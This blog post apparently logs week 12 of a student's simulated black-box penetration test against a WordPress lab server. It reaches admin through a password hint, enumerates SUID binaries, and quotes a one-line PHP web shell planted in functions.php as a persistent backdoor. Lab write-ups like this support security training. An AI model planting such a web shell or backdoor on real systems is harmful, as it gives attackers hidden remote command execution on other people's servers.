Week 12

 After weeks of preparation, our team successfully gained unauthorized access to the WordPress admin panel on server1.pentest.id, marking a major milestone in our simulated black-box penetration test.

Breaking In

Although earlier brute-force attempts failed, we eventually discovered a password hint left carelessly somewhere on the site. Using this, we bypassed authentication and logged in as the WordPress admin.

Privilege Escalation: From Admin to Root

Once inside the system, our goal shifted to escalating privileges and gaining full root access.

SUID Binary Enumeration

We executed a command to find all files with the SUID bit set:

find / -perm -4000 -type f 2>/dev/null

This revealed paths to root through misconfigured binaries like /dev/shm/rootbash and /tmp/rootbash, which could be exploited to run commands with elevated privileges.

Post-Exploitation: Backdoor Access

Using the Theme Editor in WordPress, we inserted a PHP web shell into the functions.php file:

if (isset($_GET['cmd'])) { echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; }

This allowed us to execute system commands remotely via the browser — even before full root access — and served as a stealthy backdoor for future access.

Final Report

We wrapped up our project with a detailed technical report, including:

  • Reconnaissance & Scanning: Censys, Nmap, WPScan, ffuf

  • Exploitation: From brute-force to password hint discovery and webshell deployment

  • Privilege Escalation: Through SUID misconfigurations

  • Persistence: Use of browser-accessible web shells

  • Recommendations: Actionable advice for securing the system

Comments

Popular posts from this blog

Final Reflection

Week 10

Week 8